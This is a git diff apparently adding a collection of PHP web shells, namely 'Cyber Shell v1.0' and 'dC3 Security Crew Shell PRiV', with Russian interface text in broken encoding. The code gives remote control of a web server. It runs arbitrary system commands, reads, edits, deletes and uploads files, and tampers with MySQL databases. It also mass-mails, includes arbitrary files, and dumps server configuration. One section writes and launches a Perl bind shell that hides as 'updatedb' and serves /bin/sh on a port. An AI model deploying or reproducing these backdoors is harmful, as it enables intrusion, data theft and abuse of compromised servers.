+sort($files);
+echo <<< EOF
+";
+if (count($dirs)==0 && count($files)==0){
+echo <<< EOF
+
+EOF;
+}}
+
+$edit=$_REQUEST[edit];
+if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){
+$file=fopen($edit,"r") or die ("Íåò äîñòóïà ê ôàéëó $edit");
+if (filesize($edit) > 0)
+$tfile=fread($file,filesize($edit)) or die ("Íåò äîñòóïà ê ôàéëó $edit");
+else $tfile = "";
+fclose($file);
+$tfile = htmlspecialchars($tfile,ENT_QUOTES);
+echo "
+
+";
+$mydir=updir($edit);
+echo "
+Âåðíóòüñÿ ê $mydir/
+Âû ðåäàêòèðóåòå ôàéë : $edit
+Ïðîñìîòðåòü ýòîò ôàéë â âèäå HTML
+
+$tfile
+
+";
+if (!isset($_REQUEST[readonly]))
+echo " ";
+echo "
+
+
+
+";
+}
+if (isset($edit) && (!empty($edit)) && (isset($ashtml))){
+$mydir=updir($edit);
+echo "
+
+Âåðíóòüñÿ ê $mydir/
+Âû ïðîñìàòðèâàåòå ôàéë : $edit
+
+";
+readfile($edit);
+echo "
+
+
+";
+}
+
+if (isset($texoffile) && isset($nameoffile))
+{
+$texoffile=unbug($texoffile);
+$f = fopen("$nameoffile", "w") or die ("Íåò äîñòóïà ê ôàéëó $nameoffile");
+fwrite($f, "$texoffile");
+fclose($f);
+$mydir=updir($nameoffile);
+echo " ";
+die;
+}
+
+if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!=""))
+{
+$delfile=$_REQUEST[delfile];
+$mydir=updir($delfile);
+$deleted = unlink("$delfile");
+echo " ";
+die;
+}
+
+function deletedir($directory) {
+if ($dir=opendir($directory)) {
+while (($file=readdir($dir))!==false) {
+if ($file=="." || $file=="..") continue;
+if (is_dir("$directory/$file")) {
+deletedir($directory."/".$file);}
+else {unlink($directory."/".$file);}}}
+closedir($dir);
+rmdir("$directory/$file");
+}
+if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){
+$deldir=$_REQUEST[deldir];
+$mydir=updir(updir($deldir));
+deletedir("$deldir");
+echo " ";
+die;
+}
+
+if (isset($show)){showdir("$d");}
+
+{
+if (isset($_REQUEST[tools]))
+echo <<< EOF
+
+
+
+
+.: Äåéñòâèÿ äëÿ äàííîé ïàïêè :.
+
+
+
+
+EOF;
+if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir]))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($newdir) && ($newdir!=""))
+{
+$mydir=updir($newdir);
+mkdir($newdir,"7777");
+echo " ";
+}
+
+if(@$_GET['rename']){
+echo "RENAME $d/$filetorename ?
+
+
+RENAME $filetorename TO
+
+
+
+";
+@$rto=$_POST['rto'];
+if($rto){
+$fr1=$d."/".$filetorename;
+$fr1=str_replace("//","/",$fr1);
+$to1=$d."/".$rto;
+$to1=str_replace("//","/",$to1);
+rename($fr1,$to1);
+echo "File $filetorename Renamed to $rto ";
+echo " ";}
+echo $copyr;
+exit;
+}
+
+if (isset($tools) or isset($tmkfile))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($newfile) && ($newfile!="")){
+$f = fopen("$newfile", "w+");
+fwrite($f, "");
+fclose($f);
+$mydir=updir($newfile);
+echo " ";
+}
+
+if (isset($tools) or isset($tbackdoor))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){
+$script="
+#!/usr/bin/perl
+\$port = $bport;
+\$port = \$ARGV[0] if \$ARGV[0];
+exit if fork;
+\$0 = \"updatedb\" . \" \" x100;
+\$SIG{CHLD} = 'IGNORE';
+use Socket;
+socket(S, PF_INET, SOCK_STREAM, 0);
+setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
+bind(S, sockaddr_in(\$port, INADDR_ANY));
+listen(S, 50);
+while(1)
+{
+ accept(X, S);
+ unless(fork)
+ {
+ open STDIN, \"<&X\";
+ open STDOUT, \">&X\";
+ open STDERR, \">&X\";
+ close X;
+ exec(\"/bin/sh\");
+ }
+ close X;
+}
+";
+
+$f = fopen("$d/$bfileneme", "w+");
+fwrite($f, $script);
+fclose($f);
+system("perl $d/$bfileneme");
+echo " ";
+}
+
+if (isset($tools) or isset($tbash))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($cmd) && ($cmd!="")){
+echo "";
+system($cmd);
+echo "
";
+}
+
+if (isset($tools) or isset($tupload)){
+$updir="$d/";
+if(empty($go)) {
+echo <<< EOF
+
+
+
+EOF;
+}
+else {
+if (is_uploaded_file($userfile)) {
+$fi = "Çàêà÷åí ôàéë $userfile_name ðàçìåðîì $userfile_size áàéò â äèðåêòîðèþ $updir";
+}
+echo "$fiÍàçàä ê êàòàëîãó ";
+}
+if (is_uploaded_file($userfile)) {
+$dest=$updir.$userfile_name;
+move_uploaded_file($userfile, $dest);
+}}
+
+if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){
+mysql_connect($db_server, $db_user, $db_pass) or die("íå ìîãó ïîäêëþ÷èòüñÿ ê áàçå");
+}
+
+if ((isset($dbname)) and (isset($table)) )
+{
+foreach($_POST as $var => $val)
+if (substr($var,0,7) == 'newpole'){
+if (substr($var,7,strlen($var)) !== ''){
+$indif=substr($var,7,strlen($var));
+echo " $val ";
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+if ($xvar == "")
+$xvar .= $indif;
+else
+$xvar .= ",".$indif;
+if ($xval == "")
+$xval .= "'$val'";
+else
+$xval .= ",'$val'";
+}}
+
+if ($xvar != ""){
+mysql_query("INSERT INTO $table ($xvar) values ($xval)");
+}
+
+echo "Íàçàä ê ñïèñêó òàáëèö ÁÄ:$dbname ";
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+$re=mysql_query("select * from $table");
+echo "";
+echo " ";
+echo "
+
+
+
+
+
+";
+echo "";
+}
+
+if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){
+echo "hello";
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+mysql_query("delete from $mtable where $pixidname='$pixid'");
+echo " ";
+}
+
+if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid");
+}
+
+if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+$re=mysql_query("select $var from $mtable where $pixidname='$pixid'");
+$res=mysql_fetch_array($re);
+$text=untag($res[$var]);
+
+echo "
+
+$text
+
+
+
+
+
+
+
+
+
+
+Âåðíóòüñÿ ê ñïèñêó
+";
+}
+
+if (isset($showdb) && empty($showtables)){
+$re=mysql_query("show databases");
+echo "";
+echo "Ñïèñîê äîñòóïíûõ ÁÄ:
";
+while($res=mysql_fetch_array($re)){
+echo "$res[0] ";
+}
+echo "
";
+}
+if (isset($showtables) and !empty($showtables)){
+
+if (isset($xlimit)){
+$_SESSION[limit]=$xlimit;
+if (isset($xlenth))
+$_SESSION[lenth]=$xlenth;
+else $_SESSION[lenth]="";
+}
+
+echo "Íàçàä ê ñïèñêó ÁÄ ";
+$re=mysql_query("SHOW TABLES FROM $showtables");
+echo "";
+echo "$showtables - Ñïèñîê òàáëèö:
";
+while($res=mysql_fetch_array($re)){
+echo "$res[0] ";
+}
+echo "
";
+
+if (($_SESSION[lenth]) == "on")
+$ch="checked";
+else
+$ch="";
+
+echo <<< EOF
+
+
+
+
+
+îãðàíè÷åíèå íà êîëè÷åñòâî âûâîäèìûõ ïîëåé:
+
+ Показывать всё
+ Первые 10
+ Первые 20
+ Первые 30
+ Первые 50
+ Первые 100
+ Первые 200
+ Первые 500
+ Первые 1000
+ Первые 5000
+
+ Âêëþ÷èòü îãðàíè÷åíèå íà äëèíó âûâîäèìûõ ïîëåé
+
+EOF;
+if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
+echo " Òåêóùåå îãðàíè÷åíèå: $_SESSION[limit]";
+}
+
+if (isset($tools) or isset($tmysql))
+echo "
+
+
+
+
+.: MySQL :.
+
+
+
+
+
+
+
+
+
+
+
+";
+}
+echo <<< EOF
+.:Cyber Shell (v 1.0):. Copyright © Cyber Lords Community , 2002-2006
+
+
+
+EOF;
+
+$d=tourl($d);
+echo "
+
+
+.: Ñîçäàòü ïàïêó :.
+.: Ñîçäàòü ôàéë :.
+.: Îòêðûòü ïîðò äëÿ ïîäêëþ÷åíèÿ :.
+.: Bash :.
+.: Çàêà÷àòü ôàéë :.
+
+
+";
+}
+die;
+?>
diff --git a/xakep-shells/PHP/dC3 Security Crew Shell PRiV.php.txt b/xakep-shells/PHP/dC3 Security Crew Shell PRiV.php.txt
new file mode 100644
index 0000000..e99383d
--- /dev/null
+++ b/xakep-shells/PHP/dC3 Security Crew Shell PRiV.php.txt
@@ -0,0 +1,1273 @@
+
+"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"small_dir"=>
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+"dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/
+f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa
+aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/
+95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3
+YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd
+D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi
+YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+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uoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN
+LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT
+KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM
+llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG
+YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1
+yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3
+XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn
+dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI
+AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z");
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ echo base64_decode($images[$_GET['pic']]);
+}
+
+$ps=str_replace("\\","/",getenv('DOCUMENT_ROOT'));
+//file_array
+$file_tps=array(
+"img"=>array("jpg","bmp","gif","ico"),
+"act" => array("edit","copy","download","delete"),
+"zip" => array("gzip","zip","rar")
+);
+$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
+
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+ @ob_clean();
+//end
+if (isset($_GET['img'])) {
+ for ($i=0;$i<4;$i++) {
+ if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) {
+ header("Content-type: ".$inf["mime"]);
+ readfile(urldecode($filename));
+ exit;
+
+ }
+ }
+}
+
+
+if (!function_exists(download)) {
+ function download($file) {
+ header('Pragma: anytextexeptno-cache', true);
+ header('Content-type: application/force-download');
+ header('Content-Transfer-Encoding: Binary');
+ header('Content-length: '.filesize($file));
+ header('Content-disposition: attachment;
+ filename='.basename($file));
+ readfile($file);
+ exit;
+ }
+}
+if (isset($_GET['download'])) {
+download($filename);
+exit;
+}
+
+if (isset($_GET['run'])) {
+echo urldecode($_GET['file']);
+include(urldecode($_GET['file']));
+exit;
+}
+
+
+function check_update()
+{
+$cur_ver=5; //very important value for updates!Please dont change!
+$newer=$cur_ver+1;
+$url="http://dc3.dl.am/";
+$file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!");
+$text=fread($file,1000000);
+if (preg_match("/ver=".$newer."/i", $text)) {
+ echo "[+]Update Aviable!...Please download new version from:";
+echo "Version ".$newer." ";
+} }
+
+function get_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+echo $type.join("",$owner).join("",$group).join("",$world);
+}
+
+
+
+if (!function_exists(get_space)) {
+ function get_space($dir) {
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_f = @round(48.7/($all/$free),2);
+echo "".$used_f."";
+ }
+ }
+$sys=strtolower(substr(PHP_OS,0,3));
+echo "
+
+
+ ";
+echo " ";
+echo getenv('SERVER_SOFTWARE');
+echo " ";
+echo getenv('SERVER_NAME');
+echo ":";
+echo getenv('SERVER_PORT');
+echo " ";
+echo getenv('SERVER_ADMIN');
+
+if ($sys=="win") {
+echo "Windows";
+echo " ";
+echo "".getenv('COMPUTERNAME')."";
+echo " ";
+echo "Os:".getenv('OS')."";
+} else {
+echo " Linux";
+}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+$safe=1;
+echo "ON (secure) ";
+ } else {
+$save=2;
+if ($sys=="win") {
+echo "Off (not secure) ";
+}
+}
+if (isset($_GET['file'])) {
+echo " Access:";
+if (@is_readable($j_f)) {
+ echo "R";
+}
+if (@is_executable($j_f)) {
+ echo "E";
+}
+if (@is_writable($j_d)) {
+echo "W";
+}
+echo " Current_file:";
+echo "".$p." ";
+ }
+echo " ";
+echo "Start_dir:";
+echo " ";
+echo "".$ps." ";
+echo " ";
+if (isset($_GET['file'])) {
+echo "Free Space:";
+get_space(urldecode($_GET['file']));
+
+echo "gb";
+}
+echo " ";
+?>
+
+
+
+R";
+ }
+ if (@is_executable($file)) {
+ echo "E ";
+ }
+ if (@is_writable($file)) {
+ echo "W ";
+ }
+ } else {
+ echo "[-]Error";
+ }
+ }
+ }
+
+if (!function_exists(search_file)) {
+ function search_file($search,$dir) {
+ global $word;
+ global $surl;
+ $d_s=opendir($dir);
+ while (false !== ($file_s = readdir($d_s))) {
+ if (preg_match("/".$search."/i",$file_s)) {
+ echo "".$file_s." ";
+ }
+ }
+ }
+ }
+
+
+if (!function_exists(copy_file)) {
+ function copy_file($file,$to) {
+ if (@file_exists($file)) {
+ @copy($file,$to) or die ("[-]Error copying file!");
+ echo "Successfully copied file!";
+ } else {
+ echo "[-]File Doesnt exist!";
+ }
+ }
+ }
+
+if (!function_exists(send_mail)) {
+ function send_mail($from,$to,$text,$subject,$times) {
+ while ($i<$times) {
+ $i++;
+ $header = "From: $from\r\n";
+ @mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!");
+
+ }
+ echo "Successfully sent mail(s) to ".$to."!";
+ }
+ }
+
+
+if (!function_exists(read_file)) {
+ function read_file($file) {
+$file=@fopen($file,"r");
+echo fread($file,10000);
+fclose($file);
+ }
+ }
+
+if (!function_exists(write_file)) {
+ function write_file($file,$text) {
+ if (@is_writable($file)) {
+ if (@file_exists($file)) {
+ $file_w=@fopen(urldecode($file),"w") or die ("[-]Error");
+ if (fwrite($file_w,$text)) {
+ echo "Successfully written to file(s)!";
+ }
+ }
+ }
+ else {
+ echo "[-]Error";
+ exit;
+ }
+ }
+ }
+
+
+
+if (!function_exists(count_all)) {
+ function count_all($dir) {
+ $c_d=opendir($dir);
+ while (false !== ($file_c = readdir($c_d))) {
+ if (@filetype($dir."/".$file_c)=="file") {
+ $file_c_s++;
+ }
+ else
+ {
+ $dir_c++;
+ }
+ }
+ echo "Directories:";
+ echo $dir_c++;
+ echo "||";
+ echo "Files:";
+ echo $file_c_s;
+ }
+}
+
+if (!function_exists(check_access)) {
+ function check_access($file) {
+ if (@is_readable($file)) {
+ echo "R";
+ }
+ if (@is_executable($file)) {
+ echo "E";
+ }
+ if (@is_writable($file)) {
+ echo "W";
+ }
+ }
+ }
+
+if (!function_exists(clear_dir)) {
+ function clear_dir($dir) {
+$o_d=opendir($dir);
+ while (false !== ($file = readdir($o_d))) {
+ if (@filetype(urldecode($_GET['file'])."/".$file)=="file") {
+unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file."");
+ }
+ }
+echo "Successfully cleared directory!";
+ }
+ }
+
+?>
+
+
+
+
+ ";
+check_update();
+exit;
+}
+if (isset($_GET['rmdir'])) {
+echo "
+
+
+ ";
+@rmdir($_GET['file']) or die ("[-]Error deleting dir!");
+echo "Successfully deleted dir(s)!";
+exit;
+}
+
+
+if (isset($_GET['upload'])) {
+$uploaddir = urldecode($_POST['file']);
+
+print "";
+if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) {
+echo "
+
+ ";
+ print "Successfully uploadet file(s)!";
+} else {
+echo "
+
+ ";
+ print "[-]Error";
+}
+exit;
+}
+
+if (isset($_GET['search'])) {
+echo "
+
+
+ ";
+search_file($_POST['search'],urldecode($_POST['dir']));
+exit;
+}
+
+
+
+
+if (isset($_GET['getenv'])) {
+echo "
+
+ ";
+echo getenv($_GET['getenv']);
+exit;
+}
+
+
+if (isset($_GET['php_info'])) {
+echo "
+
+ ";
+phpinfo();
+exit;
+}
+
+if (isset($_GET['defined_vars'])) {
+echo "
+
+ ";
+echo "";
+$vars=get_defined_vars();
+print_r($vars);
+echo " ";
+
+exit;
+}
+
+if (isset($_GET['env'])) {
+echo "
+
+
+ ";
+$ary=get_defined_vars();
+$it=array_keys($ary);
+foreach ($it as $i) {
+echo "".$i." ";
+
+}
+exit;
+}
+
+if (isset($_GET['play'])) {
+echo "";
+exit;
+}
+
+
+if (isset($_GET['special_crypt'])) {
+echo "
+
+ ";
+echo "";
+if (isset($_POST['submit'])) {
+$file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!");
+$meth=$_POST['crypt'];
+if ($meth=="1") {
+echo htmlspecialchars(md5(fread($file,10000)));
+ } elseif ($meth=="2") {
+ echo htmlspecialchars(crypt(fread($file,10000)));
+}
+ elseif ($meth=="3") {
+ echo htmlspecialchars(sha1(fread($file,10000)));
+ }
+elseif ($meth=="4") {
+ echo htmlspecialchars(crc32(fread($file,10000)));
+}
+ elseif ($meth=="5") {
+ echo htmlspecialchars(urlencode(fread($file,10000)));
+}
+
+ elseif ($meth=="6") {
+ echo htmlspecialchars(urldecode(fread($file,10000)));
+}
+ elseif ($meth=="7") {
+ echo htmlspecialchars(base64_encode(fread($file,10000)));
+}
+
+elseif ($meth=="8") {
+ echo htmlspecialchars(base64_decode(fread($file,10000)));
+}
+
+}
+echo "